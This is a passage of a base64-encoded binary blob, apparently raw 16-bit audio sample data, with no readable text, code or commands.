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P/t//f/BAALAA8ADgAOABYAHgAiABkAHAAaABgAEQAGAAoADgAVABQAEAAQABMAEgATABgAHwAgAB0AHQArADYAOgA/AEAAQQBEAEoATgBVAF4AWABVAFYAWwBYAE0ATABGAEMAOwA3ADgAOAAyACUAHgAjACkAJwAcABMAGwAdAB8AHQAaABsAGgATABcAHQAeABYADQALAAIA9f/q/93/2v/a/9f/zP/F/8T/yf/L/8z/1P/V/87/z//Y/+D/5v/e/8z/wv/A/8D/vP+6/8H/xP/D/77/vf+//8r/zf/K/8H/wf/H/8f/w//G/8L/wf/K/9T/2v/W/9f/3v/n//D/7f/t/+j/6P/l/+P/6v/5////+//3//z/DAATABMADAAAAP///f8AAAgAFwAYAAsAAAD+/wYADwAOABwAIAAiACAAIQAfAB4AHAAcACUALAAxACoAKwAuADMAMwAzADAAMwA3ADgANwA1ADUALwAoAC0AMwA2AC8ALgArAC4ALAApACIAHgAWAA4ACAAIAAcAAgAAAPv//v8BAAYADQAOABYAHAAhABgA/v/v/+7/+/8DAAUA+//r/+D/2P/a/+H/6v/v/+3/5P/c/9v/6P/6/wUACQAHAPr/3//V/93/8f/3/+v/5f/a/8//yv/P/9j/4f/e/9T/0P/X/+P/7P/0//f//P/5//f/+/8GABAAEwARABEADwABAPL/4v/b/9T/yf/P/+X/9f/0/+j/4v/v/wAADwAQAA0ACwANAAsAEQAZACEAHQAeABsAGQAWAAwABAAGAA0ACgAGAAkADgAPABEAEQAbAB8AEgAKAAYABAAIABUAGwAUAA0ABQAOACUANwA/AEMARwBJADsALwAoACUAJAAfAA8AAAD2/+D/2//b/+T/9P/1/+7/8P/z/wIACwASABUAFgATAAQA9P/v//L/7f/m/9z/0f/S/9j/4//o/93/0v/M/8z/zP/C/7//yP/Z/+X/7f/z//f//////wQACAACAPP/4P/R/83/0f/T/9H/1P/V/9P/z//W/+T/8P/8/wAA+f/t/+//8f/8/wMABgAMABIADgAIAP3/+v///w0AEQD7/+T/z//M/9T/3P/g/9//2v/O/9H/4P/8/xcAJAAiACIAKgAsADAANQA7ADoAMgAmAB0ADQACAP//AQAGAAAA+f/z//D/9P/7/wMAC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